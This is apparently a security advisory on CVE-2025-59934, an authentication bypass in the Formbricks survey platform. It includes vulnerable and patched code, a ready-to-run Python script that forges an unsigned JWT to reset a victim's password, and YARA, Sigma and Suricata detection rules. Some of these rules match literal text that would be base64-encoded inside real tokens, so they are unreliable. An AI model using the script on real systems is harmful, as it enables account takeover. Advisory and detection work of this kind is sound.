CVE-2025-59934

Executive Summary

CVE-2025-59934 is a critical authentication bypass vulnerability in Formbricks, an open-source survey and feedback platform. The flaw resides in the JWT token validation routine, which uses jwt.decode() without verifying the token's signature, expiration, issuer, or audience. An attacker who obtains a victim's user ID can forge a JWT with an alg: "none" header, bypass authentication, and reset the victim's password. This leads to full account takeover with a CVSS score of 9.4 (Critical). The vulnerability affects all versions prior to 4.0.1. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

Formbricks is an open-source Node.js application. The vulnerability originates from improper use of the jsonwebtoken library. The package itself is not compromised, but the application's implementation is flawed. Organizations using Formbricks should immediately audit their deployment for the vulnerable code pattern and upgrade to version 4.0.1 or later.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is remotely exploitable.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to exploit.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full account data exposure.
• Integrity (I): High (H) – Attacker can modify account credentials.
• Availability (A): High (H) – Account lockout or denial of service possible.

CVSS Score: 9.4 (Critical) – Immediate patching is required.

Deep Dive & Mechanics

The vulnerability is a classic JWT signature verification bypass. The affected code uses jwt.decode() instead of jwt.verify(). The decode() method only decodes the token's payload without checking the signature, allowing an attacker to craft a token with the alg header set to "none". Many JWT libraries accept this algorithm, which means no signature is required.

Attack Flow:

1. The attacker obtains the victim's user.id. This could be leaked via an API response, error message, or other information disclosure.
2. The attacker crafts a JWT with the following structure:
   • Header: {"alg": "none", "typ": "JWT"}
   • Payload: {"userId": "<victim_user_id>", "iat": <current_timestamp>, "exp": <future_timestamp>}
   • Signature: Empty string (since algorithm is "none")
3. The attacker sends this token to the email verification or password reset endpoint.
4. The server decodes the token using jwt.decode(), extracts the userId, and processes the request as if it were legitimate.
5. The attacker can then reset the victim's password and take over the account.

Root Cause: The validateToken function in the authentication module does not call jwt.verify(). It only decodes the token, trusting the payload without verifying the signature.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.0.1):

// auth.js
function validateToken(token) {
  try {
    const decoded = jwt.decode(token); // No signature verification
    if (decoded && decoded.userId) {
      return decoded.userId;
    }
    return null;
  } catch (error) {
    return null;
  }
}

Patched Code (4.0.1+):

// auth.js
function validateToken(token) {
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET); // Signature verification
    if (decoded && decoded.userId) {
      return decoded.userId;
    }
    return null;
  } catch (error) {
    return null;
  }
}

The patched version uses jwt.verify() with a secret key, which validates the signature, expiration, and other claims. This prevents forged tokens from being accepted.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of Formbricks < 4.0.1
• A valid user ID (e.g., obtained via API enumeration or error messages)
• Python 3 with PyJWT library installed (pip install pyjwt)

Exploit Script:

import jwt
import requests
import time

# Target configuration
TARGET_URL = "http://target-formbricks.com"
USER_ID = "victim_user_id_here"  # Obtain this via enumeration

# Craft malicious JWT with alg: none
payload = {
    "userId": USER_ID,
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600  # 1 hour validity
}
headers = {"alg": "none", "typ": "JWT"}
token = jwt.encode(payload, key="", algorithm="none")

# Use token to reset password
reset_url = f"{TARGET_URL}/api/auth/reset-password"
data = {"token": token, "newPassword": "hacked123!"}
response = requests.post(reset_url, json=data)

if response.status_code == 200:
    print(f"[+] Password reset successful for user {USER_ID}")
else:
    print(f"[-] Failed: {response.text}")

Steps:

1. Enumerate user IDs via /api/users or error messages.
2. Run the exploit script to reset the victim's password.
3. Log in with the new password and gain full access.

Blue Team (Defense & Detection)

Detection:

• Monitor for JWT tokens with alg: "none" in HTTP requests.
• Alert on password reset requests without prior email verification.
• Log all authentication attempts and correlate with user IDs.

Mitigation:

• Immediately upgrade to Formbricks 4.0.1 or later.
• If patching is not possible, implement a WAF rule to block tokens with alg: "none".
• Enforce strong JWT validation middleware in the application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing JWT tokens with "alg":"none" in the Authorization header or request body.
  • Multiple password reset requests for the same user ID in a short time.
• File IOCs:
  • Log entries showing jwt.decode() calls without corresponding jwt.verify().
  • Presence of alg: none tokens in application logs.
• Behavioral IOCs:
  • Unauthorized password changes without email verification.
  • Account takeover incidents with no prior phishing.

Detection Engineering

YARA Rule

rule CVE_2025_59934_JWT_None_Alg {
    meta:
        description = "Detects JWT tokens with alg: none in HTTP traffic or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59934"
    strings:
        $alg_none = /"alg"\s*:\s*"none"/ nocase
        $jwt_header = /eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\./  // Base64url encoded JWT
    condition:
        $alg_none and $jwt_header
}

Sigma Rule

title: CVE-2025-59934 JWT Signature Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing JWT tokens with alg: none
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/auth/reset-password'
        cs-request-body|contains: 'alg":"none"'
    condition: selection
falsepositives:
    - Legitimate use of alg: none in development environments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59934 JWT alg none detected"; flow:to_server; content:"alg"; nocase; content:"none"; nocase; distance:0; within:10; content:"/api/auth/reset-password"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Formbricks to version 4.0.1 or later.
2. Verify JWT validation in all authentication endpoints.
3. Rotate all secrets (JWT secret, API keys) after patching.
4. Audit logs for any signs of exploitation (tokens with alg: none).

Long-Term Measures:

• Implement a Web Application Firewall (WAF) rule to block tokens with alg: none.
• Enforce strict JWT validation using jwt.verify() with a strong secret.
• Conduct regular security code reviews focusing on authentication logic.
• Monitor for CVE-2025-59934 related activity using the provided detection rules.

Workaround (if patching is delayed):

• Disable password reset functionality temporarily.
• Implement additional verification steps (e.g., email OTP) for password resets.
• Use a reverse proxy to inspect and reject JWT tokens with alg: none.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert